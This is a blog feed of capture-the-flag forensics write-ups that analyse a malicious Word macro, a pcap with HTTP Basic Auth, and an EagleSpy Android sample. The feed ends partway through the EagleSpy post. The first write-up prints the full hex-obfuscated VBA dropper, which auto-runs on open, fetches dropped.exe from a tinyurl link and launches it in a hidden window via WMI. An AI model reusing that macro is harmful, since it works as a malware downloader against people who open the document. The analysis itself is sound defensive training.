<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Yufan Limbu on Medium]]></title>
        <description><![CDATA[Stories by Yufan Limbu on Medium]]></description>
        <link>https://medium.com/@youfanlimboo?source=rss-15e157962e17------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*v1OGkTLkQpQ5CYA1.jpg</url>
            <title>Stories by Yufan Limbu on Medium</title>
            <link>https://medium.com/@youfanlimboo?source=rss-15e157962e17------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 02:44:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@youfanlimboo/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Malicious_VBA]]></title>
            <link>https://medium.com/@youfanlimboo/malicious-vba-a5efb3157410?source=rss-15e157962e17------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5efb3157410</guid>
            <dc:creator><![CDATA[Yufan Limbu]]></dc:creator>
            <pubDate>Tue, 25 Aug 2026 14:35:57 GMT</pubDate>
            <atom:updated>2026-08-25T14:36:42.881Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*m6R2WxCb_p8U2u87Sayr-A.png" /><figcaption><strong>HTB Sherlock Malicious_VBA</strong></figcaption></figure><h4>Sherlock Scenario</h4><p>One of the employees has received a suspicious document attached in the invoice email. They sent you the file to investigate. You managed to extract some strings from the VBA Macro document. Can you refer to CyberChef and decode the suspicious strings?</p><p>Connect to the VM with the credential provided using RDP or SSH From pwnbox use the command</p><pre>xfreerdp /v:&lt;ipaddress&gt; /u:analyst /p:&#39;123&#39; /cert:ignore /dynamic-resolution</pre><p>File Location: Desktop/ChallengeFiles/invoice.vb</p><p>This challenge prepared by @RussianPanda.</p><pre>┌──(yufan㉿kali)-[~/htb/defendlets]<br>└─$ file invoice.vb                     <br>invoice.vb: ASCII text, with CRLF line terminators<br>                                                                                                                                                                                             <br>┌──(yufan㉿kali)-[~/htb/defendlets]<br>└─$ cat invoice.vb <br>===============================================================================<br>FILE: inf.docm<br>Type: OpenXML<br>-------------------------------------------------------------------------------<br><br>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <br>Private Sub avscuqctk()<br>Dim vxedylctlyqvkl As String<br>Dim yxxqowke As String<br>Dim yqlcangepvrccrx As Object, tmffoscpfdripcxpd As Object<br>Dim afcbydld As Integer<br>vxedylctlyqvkl = hgmneqolwgxg(&quot;68747470733a2f2f74696e&quot;) &amp; hgmneqolwgxg(&quot;7975726c2e636f6d2f67327a3267683666&quot;)<br>yxxqowke = hgmneqolwgxg(&quot;64726f&quot;) &amp; hgmneqolwgxg(&quot;707065642e657865&quot;)<br>yxxqowke = Environ(&quot;TEMP&quot;) &amp; &quot;\&quot; &amp; yxxqowke<br>Set yqlcangepvrccrx = CreateObject(hgmneqolwgxg(&quot;4d53584d4c322e&quot;) &amp; hgmneqolwgxg(&quot;536572766572584d4c485454502e362e30&quot;))<br>yqlcangepvrccrx.setOption(2) = 13056<br>yqlcangepvrccrx.Open hgmneqolwgxg(&quot;474554&quot;), vxedylctlyqvkl, False<br>yqlcangepvrccrx.setRequestHeader hgmneqolwgxg(&quot;557365&quot;) &amp; hgmneqolwgxg(&quot;722d4167656e74&quot;), hgmneqolwgxg(&quot;4d6f7a696c6c612f342e302028636f6d7061&quot;) &amp; hgmneqolwgxg(&quot;7469626c653b204d53494520362e303b2057696e646f7773204e5420352e3029&quot;)<br>yqlcangepvrccrx.Send<br>If yqlcangepvrccrx.Status = 200 Then<br>Set tmffoscpfdripcxpd = CreateObject(hgmneqolwgxg(&quot;41444f&quot;) &amp; hgmneqolwgxg(&quot;44422e53747265616d&quot;))<br>tmffoscpfdripcxpd.Open<br>tmffoscpfdripcxpd.Type = 1<br>tmffoscpfdripcxpd.Write yqlcangepvrccrx.ResponseBody<br>tmffoscpfdripcxpd.SaveToFile yxxqowke, 2<br>tmffoscpfdripcxpd.Close<br>jausltewrjghdtvi yxxqowke<br>End If<br>End Sub<br>Sub AutoOpen()<br>avscuqctk<br>End Sub<br>Private Function hgmneqolwgxg(ByVal mynmavyclwok As String) As String<br>Dim ejdwyblxvgpy As Long<br>For ejdwyblxvgpy = 1 To Len(mynmavyclwok) Step 2<br>hgmneqolwgxg = hgmneqolwgxg &amp; Chr$(Val(&quot;&amp;H&quot; &amp; Mid$(mynmavyclwok, ejdwyblxvgpy, 2)))<br>Next ejdwyblxvgpy<br>End Function<br><br>-------------------------------------------------------------------------------<br>VBA MACRO cuabumrbh.bas <br>in file: word/vbaProject.bin - OLE stream: &#39;VBA/cuabumrbh&#39;<br>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <br>Sub txsctapysvyvh(xflqpurtgr As String)<br>CreateObject(jmkrohkvctnt(&quot;575363726970742e5368656c&quot;) &amp; jmkrohkvctnt(&quot;6c&quot;)).Run xflqpurtgr, 0<br>End Sub<br>Private Function jmkrohkvctnt(ByVal vgqofbnoswth As String) As String<br>Dim nfwbabqqwqxf As Long<br>For nfwbabqqwqxf = 1 To Len(vgqofbnoswth) Step 2<br>jmkrohkvctnt = jmkrohkvctnt &amp; Chr$(Val(&quot;&amp;H&quot; &amp; Mid$(vgqofbnoswth, nfwbabqqwqxf, 2)))<br>Next nfwbabqqwqxf<br>End Function<br><br>-------------------------------------------------------------------------------<br>VBA MACRO cwzbjoiuq.bas <br>in file: word/vbaProject.bin - OLE stream: &#39;VBA/cwzbjoiuq&#39;<br>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <br>Sub jausltewrjghdtvi(tibgkzhn As String)<br>On Error Resume Next<br>Err.Clear<br>wimResult = kshliitwryv(tibgkzhn)<br>If Err.Number &lt;&gt; 0 Or wimResult &lt;&gt; 0 Then<br>Err.Clear<br>txsctapysvyvh tibgkzhn<br>End If<br>On Error GoTo 0<br>End Sub<br><br>-------------------------------------------------------------------------------<br>VBA MACRO lkxosgcqm.bas <br>in file: word/vbaProject.bin - OLE stream: &#39;VBA/lkxosgcqm&#39;<br>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <br>Function kshliitwryv(cmdLine As String) As Integer<br>Set rpmcsqkfmmefrk = GetObject(lylhbzknnnzm(&quot;77696e6d676d74&quot;) &amp; lylhbzknnnzm(&quot;733a5c5c2e5c726f6f745c63696d7632&quot;))<br>Set apcpmobozbywheter = rpmcsqkfmmefrk.Get(lylhbzknnnzm(&quot;57696e33325f50726f6365&quot;) &amp; lylhbzknnnzm(&quot;737353746172747570&quot;))<br>Set ojuovddfgrz = apcpmobozbywheter.SpawnInstance_<br>ojuovddfgrz.ShowWindow = 0<br>Set jcjvmxzi = GetObject(lylhbzknnnzm(&quot;77696e6d676d74733a5c5c2e5c726f6f745c63696d76323a57&quot;) &amp; lylhbzknnnzm(&quot;696e33325f50726f63657373&quot;))<br>kshliitwryv = jcjvmxzi.Create(cmdLine, Null, ojuovddfgrz, intProcessID)<br>End Function<br>Private Function lylhbzknnnzm(ByVal wawaggaffhsu As String) As String<br>Dim uuhcyhapguna As Long<br>For uuhcyhapguna = 1 To Len(wawaggaffhsu) Step 2<br>lylhbzknnnzm = lylhbzknnnzm &amp; Chr$(Val(&quot;&amp;H&quot; &amp; Mid$(wawaggaffhsu, uuhcyhapguna, 2)))<br>Next uuhcyhapguna<br>End Function</pre><p>The invoice.vb file contains VBA code that has been <strong>obfuscated to make it harder to read and analyze</strong>. The variable and function names are randomly generated, while important strings such as URLs, object names, and commands are stored as <strong>hexadecimal values</strong>.</p><p>The code includes custom decoding functions that convert these hexadecimal strings back into readable text at runtime. This combination of <strong>randomized identifiers and hexadecimal-encoded strings</strong> is used to conceal the original VBA code and make static analysis more difficult.</p><h4>Task 0</h4><p>The document initiates the download of a payload after the execution, can you tell what website is hosting it?</p><pre>https://tinyurl[.]com/g2z2gh6f<br><br>┌──(yufan㉿kali)-[~/htb/defendlets]<br>└─$ olevba invoice.vb --decode --deobf<br>XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)<br>olevba 0.60.2 on Python 3.13.12 - http://decalage.info/python/oletools<br>===============================================================================<br>FILE: invoice.vb<br>Type: Text<br>-------------------------------------------------------------------------------<br>VBA MACRO invoice.vb <br>in file: invoice.vb - OLE stream: &#39;&#39;<br>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <br>===============================================================================<br>FILE: inf.docm<br>Type: OpenXML<br>-------------------------------------------------------------------------------<br>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <br><br>|VBA string|b&#39;https://tin&#39;b&#39;yurl|hgmneqolwgxg(&quot;68747470733a2f2f74696e&quot;) &amp; hgmn|<br>|          |.com/g2z2gh6f&#39;      |eqolwgxg(&quot;7975726c2e636f6d2f67327a3267683666&quot;|<br>|          |                    |)                                            |</pre><p>The VBA macro does not store the URL in plain text. Instead, it splits the URL into two hexadecimal-encoded strings to make it harder to spot during analysis.</p><p>For example:</p><p>68747470733a2f2f74696e → https[:]//tin</p><p>7975726c2e636f6d2f67327a3267683666 → yurl[.]com/g2z2gh6f</p><p>The macro then combines both decoded strings to form:</p><p>https[:]//tinyurl[.]com/g2z2gh6f</p><p>This shortened URL is used by the malicious document to reach the location hosting the payload. Hiding the URL with encoding is a simple obfuscation technique designed to make static analysis more difficult.</p><h4>Task 1</h4><p>What is the filename of the payload (include the extension)?</p><pre>dropped.exe<br>┌──(yufan㉿kali)-[~/htb/defendlets]<br>└─$ olevba invoice.vb --decode --deobf<br>XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)<br>olevba 0.60.2 on Python 3.13.12 - http://decalage.info/python/oletools<br>===============================================================================<br>FILE: invoice.vb<br>Type: Text<br>-------------------------------------------------------------------------------<br>VBA MACRO invoice.vb <br>in file: invoice.vb - OLE stream: &#39;&#39;<br>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <br>===============================================================================<br><br><br>|          |                    |)                                            |<br>|VBA string|b&#39;dro&#39;b&#39;pped.exe&#39;   |hgmneqolwgxg(&quot;64726f&quot;) &amp;                     |<br>|          |                    |hgmneqolwgxg(&quot;707065642e657865&quot;)             |<br>|VBA string|%TEMP%\             |Environ(&quot;TEMP&quot;) &amp; &quot;\&quot;                        |</pre><p>The VBA macro also obfuscates the payload filename using hexadecimal encoding. The encoded strings:</p><ul><li>64726f → dro</li><li>707065642e657865 → pped.exe</li></ul><p>are decoded and concatenated to form:</p><p>dropped[.]exe</p><p>The macro then appends this filename to the system’s %TEMP% directory, resulting in a path such as:</p><p>C:\Users\&lt;username&gt;\AppData\Local\Temp\dropped[.]exe</p><p>After downloading the payload, the macro saves it to this location before executing it. This technique helps conceal the payload filename during static analysis.</p><h4>Task 2</h4><p>What method is it using to establish an HTTP connection between files on the malicious web server?</p><pre>msxml2.serverxmlhttp<br>┌──(yufan㉿kali)-[~/htb/defendlets]<br>└─$ olevba invoice.vb --decode --deobf<br>XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)<br>olevba 0.60.2 on Python 3.13.12 - http://decalage.info/python/oletools<br>===============================================================================<br>FILE: invoice.vb<br>Type: Text<br>-------------------------------------------------------------------------------<br>VBA MACRO invoice.vb <br>in file: invoice.vb - OLE stream: &#39;&#39;<br>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <br>===============================================================================<br>|VBA string|b&#39;MSXML2.&#39;b&#39;ServerXM|(hgmneqolwgxg(&quot;4d53584d4c322e&quot;) &amp; hgmneqolwgx|<br>|          |LHTTP.6.0&#39;          |g(&quot;536572766572584d4c485454502e362e30&quot;))     |</pre><p>The malicious document uses <strong>MSXML2.ServerXMLHTTP.6.0</strong> to establish an HTTP connection with the remote server.</p><p>The VBA code hides the object name using hexadecimal encoding:</p><ul><li>4d53584d4c322e → MSXML2.</li><li>536572766572584d4c485454502e362e30 → ServerXMLHTTP</li></ul><p>When decoded and combined, they form:</p><p>MSXML2.ServerXMLHTTP</p><p>The macro creates this object using CreateObject() and uses it to send an HTTP <strong>GET request</strong> to the malicious URL. The response from the server is then retrieved and saved as the payload.</p><p>This technique allows the malicious document to communicate directly with the remote server and download the payload without relying on a web browser.</p><h4>Task 3</h4><p>What user-agent string is it using?</p><pre>mozilla/4.0 (compatible; msie 6.0; windows nt 5.0)<br>┌──(yufan㉿kali)-[~/htb/defendlets]<br>└─$ olevba invoice.vb --decode --deobf<br>XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)<br>olevba 0.60.2 on Python 3.13.12 - http://decalage.info/python/oletools<br>===============================================================================<br>FILE: invoice.vb<br>Type: Text<br>-------------------------------------------------------------------------------<br>VBA MACRO invoice.vb <br>in file: invoice.vb - OLE stream: &#39;&#39;<br>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <br>===============================================================================<br><br>|VBA string|b&#39;GET&#39;              |hgmneqolwgxg(&quot;474554&quot;)                       |<br>|VBA string|b&#39;Use&#39;b&#39;r-Agent&#39;    |hgmneqolwgxg(&quot;557365&quot;) &amp;                     |<br>|          |                    |hgmneqolwgxg(&quot;722d4167656e74&quot;)               |<br>|VBA string|b&#39;Mozilla/4.0       |hgmneqolwgxg(&quot;4d6f7a696c6c612f342e302028636f6|<br>|          |(compa&#39;b&#39;tible; MSIE|d7061&quot;) &amp; hgmneqolwgxg(&quot;7469626c653b204d53494|<br>|          |6.0; Windows NT     |520362e303b2057696e646f7773204e5420352e3029&quot;)|<br>|          |5.0)&#39;               |                                             |</pre><p>The malicious VBA macro sets a custom <strong>User-Agent</strong> string for its HTTP request. The value is hidden using hexadecimal encoding and reconstructed at runtime.</p><p>The encoded strings decode as follows:</p><ul><li>474554 → GET</li><li>557365 + 722d4167656e74 → User-Agent</li><li>4d6f7a696c6c612f342e302028636f6d7061 + 7469626c653b204d53494520362e303b2057696e646f7773204e542e3029 → Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)</li></ul><p>The resulting User-Agent is:</p><p>Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)</p><p>The macro uses this value in the User-Agent HTTP header when sending the GET request. The string impersonates an <strong>older Internet Explorer browser running on Windows NT 5.0</strong>, which can help the malicious traffic blend in with legitimate-looking HTTP requests or bypass simple filtering based on User-Agent values.</p><h4>Task 4</h4><p>What object does the attacker use to be able to read or write text and binary files?</p><pre>adodb.stream<br>┌──(yufan㉿kali)-[~/htb/defendlets]<br>└─$ olevba invoice.vb --decode --deobf<br>XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)<br>olevba 0.60.2 on Python 3.13.12 - http://decalage.info/python/oletools<br>===============================================================================<br>FILE: invoice.vb<br>Type: Text<br>-------------------------------------------------------------------------------<br>VBA MACRO invoice.vb <br>in file: invoice.vb - OLE stream: &#39;&#39;<br>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <br>===============================================================================<br>FILE: inf.docm<br>Type: OpenXML<br>|VBA string|b&#39;ADO&#39;b&#39;DB.Stream&#39;  |(hgmneqolwgxg(&quot;41444f&quot;) &amp;                    |<br>|          |                    |hgmneqolwgxg(&quot;44422e53747265616d&quot;))          |</pre><p>The attacker uses the <strong>ADODB.Stream</strong> object to handle the downloaded payload as binary data.</p><p>The VBA code hides the object name using hexadecimal encoding:</p><ul><li>41444f → ADO</li><li>44422e53747265616d → DB.Stream</li></ul><p>When combined, they produce:</p><p>ADODB.Stream</p><p>The macro creates this object and sets its type to <strong>binary (</strong><strong>1)</strong>:</p><pre>Settmffoscpfdripcxpd =CreateObject(&quot;ADODB.Stream&quot;)tmffoscpfdripcxpd.Opentmffoscpfdripcxpd.Type =1</pre><p>It then writes the HTTP response — the downloaded payload — to the stream and saves it as dropped[.]exe.</p><p>In this case, <strong>ADODB.Stream acts as the mechanism for transferring the downloaded binary data from memory to a file on disk</strong>, allowing the malicious document to save the payload without directly using standard file-writing APIs.</p><h4>Task 5</h4><p>What is the object the attacker uses for WMI execution? Possibly they are using this to hide the suspicious application running in the background.</p><pre>winmgmts:\\.\root\cimv2:win32_process<br><br>┌──(yufan㉿kali)-[~/htb/defendlets]<br>└─$ olevba invoice.vb --decode --deobf<br>XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)<br>olevba 0.60.2 on Python 3.13.12 - http://decalage.info/python/oletools<br>===============================================================================<br>FILE: invoice.vb<br>Type: Text<br>-------------------------------------------------------------------------------<br>VBA MACRO invoice.vb <br>in file: invoice.vb - OLE stream: &#39;&#39;<br>- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - <br>===============================================================================<br>FILE: inf.docm<br>Type: OpenXML<br>-------------------------------------------------------------------------------<br>|VBA string|b&#39;WScript.Shel&#39;     |jmkrohkvctnt(&quot;575363726970742e5368656c&quot;)     |<br>|VBA string|b&#39;winmgmt&#39;b&#39;s:\\\\.\|(lylhbzknnnzm(&quot;77696e6d676d74&quot;) &amp; lylhbzknnnz|<br>|          |\root\\cimv2&#39;       |m(&quot;733a5c5c2e5c726f6f745c63696d7632&quot;))       |<br>|VBA string|b&#39;Win32_Proce&#39;b&#39;ssSt|(lylhbzknnnzm(&quot;57696e33325f50726f6365&quot;) &amp;    |<br>|          |artup&#39;              |lylhbzknnnzm(&quot;737353746172747570&quot;))          |<br>|VBA string|b&#39;winmgmts:\\\\.\\ro|(lylhbzknnnzm(&quot;77696e6d676d74733a5c5c2e5c726f|<br>|          |ot\\cimv2:W&#39;b&#39;in32_P|6f745c63696d76323a57&quot;) &amp;                     |<br>|          |rocess&#39;             |lylhbzknnnzm(&quot;696e33325f50726f63657373&quot;))    |</pre><p>The attacker uses <strong>Windows Management Instrumentation (WMI)</strong> through the Win32_Process class to create and execute a process.</p><p>The VBA code reconstructs the WMI path using hexadecimal-encoded strings:</p><ul><li>77696e6d676d7473... → winmgmts:\\.\root\cimv2:</li><li>696e33325f50726f63657373 → Win32_Process</li></ul><p>Together, they form:</p><p>winmgmts:\\.\root\cimv2:Win32_Process</p><p>The macro connects to the local WMI namespace and obtains the Win32_Process class. It then uses the Create() method to launch the supplied command:</p><pre>jcjvmxzi.Create(cmdLine,Null,ojuovddfgrz,intProcessID)</pre><p>The code also creates a Win32_ProcessStartup object and sets:</p><p>ShowWindow = 0</p><p>This configures the new process window to be hidden.</p><p><strong>In simple terms:</strong> the attacker uses <strong>WMI (</strong><strong>winmgmts) and the </strong><strong>Win32_Process class to execute the payload with a hidden window</strong>, helping the malicious activity run in the background without visibly displaying a command or application window to the user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2IYC1begVIXyDCubmwHiIQ.png" /><figcaption><strong>Complete the challenge</strong></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5efb3157410" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Http_Basic_Auth!]]></title>
            <link>https://medium.com/@youfanlimboo/http-basic-auth-6422b2090659?source=rss-15e157962e17------2</link>
            <guid isPermaLink="false">https://medium.com/p/6422b2090659</guid>
            <dc:creator><![CDATA[Yufan Limbu]]></dc:creator>
            <pubDate>Tue, 25 Aug 2026 04:02:47 GMT</pubDate>
            <atom:updated>2026-08-25T11:22:39.422Z</atom:updated>
            <content:encoded><![CDATA[<h4>Sherlock Scenario</h4><p>We receive a log indicating a possible attack, can you gather information from the .pcap file?</p><p>To connect to the challenge from pwnbox use the command:</p><pre>xfreerdp /v:&lt;ipaddress&gt; /u:analyst /p:’123’ /cert:ignore /dynamic-resolution</pre><p>Log file: Desktop/ChallengeFile/webserver.em0.pcap<br>Note: pcap file found in public resources.</p><h4>Task 0</h4><p>How many HTTP GET requests are in pcap?</p><pre>5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hrpuc8gb2kUkR9uQty8sEQ.png" /><figcaption><strong>Filtering HTTP GET requests in Wireshark.</strong></figcaption></figure><p>While analyzing the PCAP for the HTTP Basic Authentication challenge, I used the Wireshark filter</p><p><strong>http.request.method == “GET”</strong></p><p>to identify all HTTP GET requests. This filter displays only packets where the HTTP request method is GET, making it easier to focus on web requests without manually checking every packet. The filter returned 5 requests, so the answer is 5 HTTP GET requests.</p><h4>Task 1</h4><p>What is the server operating system?</p><pre>freebsd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qZB5gvSjwIqeg6O5X3oIKg.png" /><figcaption><strong>Identifying the server Operating system</strong></figcaption></figure><p>To identify the server operating system, I used the Wireshark filter</p><p><strong>http.server</strong></p><p>This displays the Server header from HTTP responses, which can provide information about the web server software and, in some cases, the underlying operating system.</p><h4>Task 2</h4><p>What is the name and version of the web server software?</p><pre>apache/2.2.15<br><br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bZtO6xts8SYkKfViBmjK7Q.png" /><figcaption><strong>Identifying the name and version of the web server software</strong></figcaption></figure><p>To identify the web server software and version, I used the Wireshark filter</p><p><strong>http.server</strong></p><p>The HTTP response showed the Server header as Apache/2.2.15, revealing both the software name and version.</p><p><strong>Task 3</strong></p><p>What is the version of OpenSSL running on the server?</p><pre>openssl/0.9.8n<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jx8ngcH6YVmXe4OYDCg8Sw.png" /><figcaption><strong>Identifying the version of OpenSSL running on the server with Wireshark</strong></figcaption></figure><p>I used the Wireshark filter</p><p><strong>http.server</strong></p><p>to inspect the HTTP server information. The response revealed the OpenSSL version as OpenSSL/0.9.8n.</p><h4>Task 4</h4><p>What is the client’s user-agent information?</p><pre>lynx/2.8.7rel.1 libwww-fm/2.14 ssl-mm/1.4.1 openssl/0.9.8n</pre><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*z36BzmY6xzjO1oXFsUPokg.png" /><figcaption><strong>Identifying the Client’s user-agent information running with Wireshark</strong></figcaption></figure><p>To find the client’s user-agent information, I used the Wireshark filter</p><p><strong>http.user_agent</strong></p><p>This filter displays the User-Agent header sent by the client in an HTTP request. The captured traffic showed that the client was using the Lynx 2.8.7rel.1 web browser, along with libwww-fm/2.14, ssl-mm/1.4.1, and OpenSSL/0.9.8n. This information helps identify the client software and its version</p><h4><strong>Task 5</strong></h4><p>What is the username used for Basic Authentication?</p><pre>webadmin</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bDaVKT7WuOXy0QgQAt5vxA.png" /><figcaption><strong>Analyzing the HTTP Basic Authentication header usersname with wireshark</strong></figcaption></figure><p>To identify the username used for HTTP Basic Authentication, I inspected the Authorization header using the Wireshark filter <strong>http.authorization</strong>. The captured header was:</p><p><strong>Authorization: Basic d2ViYWRtaW46VzNiNERtMW4=</strong></p><p>The value following Basic is Base64-encoded. After decoding it, the credentials are webadmin:W3b4Dm1n, where <strong>webadmin</strong> is the username and <strong>W3b4Dm1n</strong> is the password. The Authorization: Basic header is used to transmit the client&#39;s authentication credentials to the web server in Base64-encoded form.</p><h4>Task 6</h4><p>What is the user password used for Basic Authentication?</p><pre>W3b4Dm1n</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4eij7GMWG4Ryt40tOkMp2A.png" /><figcaption><strong>Analyzing the HTTP Basic Authentication header usersname with wireshark</strong></figcaption></figure><p>To identify the password used for Basic Authentication, I inspected the</p><p>Authorization header using the Wireshark filter <strong>http.authorization</strong>. The captured value was</p><p><strong>Authorization: Basic d2ViYWRtaW46VzNiNERtMW4=</strong></p><p>After Base64 decoding the value, the credentials were revealed as webadmin:W3b4Dm1n , where <strong>W3b4Dm1n</strong> is the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gaSmwA0sGsyJa8sA0vk1hg.png" /><figcaption><strong>Completed the HTTP_Basic_Auth! Challenge</strong></figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6422b2090659" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EagleSpy]]></title>
            <link>https://medium.com/@youfanlimboo/eaglespy-9b9fdaa60624?source=rss-15e157962e17------2</link>
            <guid isPermaLink="false">https://medium.com/p/9b9fdaa60624</guid>
            <category><![CDATA[android-malware-analysis]]></category>
            <dc:creator><![CDATA[Yufan Limbu]]></dc:creator>
            <pubDate>Sat, 01 Aug 2026 05:40:37 GMT</pubDate>
            <atom:updated>2026-08-01T05:40:37.304Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Scenario</strong></p><p>EagleSpy is a malware family that emerged from the SpyNote source code leak. Your task as a malware analyst is to identify key characteristics of this sample and answer the questions below</p><p>Question 1</p><p>What is the name of the file used to define the essential structures and metadata of an Android application?</p><pre>AndroidManifest.xml<br>Every Android application (APK) must contain a `AndroidManifest.xml` <br>file in its root directory. This file is the application&#39;s &quot;ID card&quot; <br>and is parsed by the Android framework at install time and at runtime. <br>It declares:<br><br>- The **package name** (application ID) and unique identifier of the app.<br>- All **components** of the app: Activities, Services, Broadcast Receivers, and Content Providers.<br>- **Permissions** the app requires, and permissions it grants to other apps.<br>- The **entry point** of the application (the launcher activity) via intent filters.<br>- Required hardware/software features and the minimum SDK version.<br>- Metadata about the app, e.g. `android:name` attributes pointing to classes.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ufYTro-MPv3Ht6PJnMomg.png" /></figure><h4>Question 2</h4><p>What is the package ID name of this sample?</p><pre>com.appd.instll.load<br>The **package ID** (also called application ID or package name) is the <br>unique identifier of the application, formatted like `com.example.app`. <br>It is the primary location where the package name lives:<br><br>- **Primary location:** `AndroidManifest.xml` — attribute <br>`package=&quot;com.appd.instll.load&quot;` on the root `&lt;manifest&gt;` element.<br>- Also referenced in the DEX code (e.g., `BuildConfig.APPLICATION_ID`) <br>  and the file paths of the decompiled project.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KsSyUnSohm87IdMSI5YpOQ.png" /></figure><p>Question 3</p><p>How many permissions are declared by this sample?</p><pre>4</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MdcqD2AthxjQJuPGKxeYkg.png" /></figure><h4>Question 4</h4><p>What is the name of the class used in the main activity used as the entry point?</p><pre>splash<br>```xml<br>&lt;intent-filter&gt;<br>    &lt;action android:name=&quot;android.intent.action.MAIN&quot; /&gt;<br>    &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot; /&gt;<br>&lt;/intent-filter&gt;<br>```<br><br>- `android.intent.action.MAIN` — marks this activity as the entry p<br>oint of the application.<br>- `android.intent.category.LAUNCHER` — tells Android to show this <br> activity&#39;s icon in the launcher.<br><br>Reading the `android:name` attribute of the activity that holds this <br>intent filter gives the entry-point class. In this sample:<br><br>```<br>android:name=&quot;com.apdd.install.Splash&quot;  →  the Splash activity is the entry point</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RFk_mmD1LwJt3MnOWUDSLQ.png" /></figure><p><strong>Question 5</strong></p><p><strong>What is the method used to validate if an application is already installed on the device?</strong></p><pre>isAppAvailable<br>The method `isAppAvailable` is a custom helper routine in the malware&#39;s code that checks whether a given application is already installed on the device.<br><br>A typical implementation queries the PackageManager:<br><br>```java<br>public boolean isAppAvailable(Context context, String packageName) {<br>    PackageManager pm = context.getPackageManager();<br>    try {<br>        pm.getPackageInfo(packageName, PackageManager.GET_ACTIVITIES);<br>        return true;   // app is installed<br>    } catch (PackageManager.NameNotFoundException e) {<br>        return false;  // app is NOT installed<br>    }<br>}<br>```<br><br>- `PackageManager.getPackageInfo()` throws `NameNotFoundException` <br>when the package does not exist on the device.<br>- Wrapping it in a try/catch lets the malware distinguish between <br>&quot;installed&quot; and &quot;not installed&quot; reliably.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hTTDBCm-5cz9GdfGfBigqQ.png" /></figure><h4>Question 6</h4><p>What is the name of the application package that is checked by the previous method?</p><pre>com.found.hentai<br> The package name contains the word **&quot;hentai&quot;** — <br>a tactic used by some malware authors to hide the malicious app <br>in a &quot;browsing history&quot; style decoy: if discovered on the device, the name <br>suggests the user installed a &quot;questionable&quot; app themselves, discouraging them from reporting it.<br>- This is a **psychological/social-engineering obfuscation** trick: victims <br>often won&#39;t admit to (or investigate) apps they are embarrassed to be <br> associated with.<br>- Alternatively, the check may be part of the dropper logic: if a previous <br>version of the spyware is already installed, skip re-installation to <br>avoid detection.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rRhzNEbHfcHEWmZqiMfwMg.png" /></figure><p>Question 7</p><p>The sample checks the device’s default language. How many languages does this sample target?</p><pre>6<br>The malware reads the device&#39;s default language at runtime:<br><br>```java<br>String language = Locale.getDefault().getLanguage();<br>```<br><br>It then compares this value against a hardcoded list of **6 targeted <br>language codes**:<br><br>| Code | Language        |<br>|------|-----------------|<br>| `ar` | Arabic          |<br>| `en` | English         |<br>| `pt` | Portuguese      |<br>| `ru` | Russian         |<br>| `tr` | Turkish         |<br>| `zh` | Chinese         |</pre><figure><img alt="" 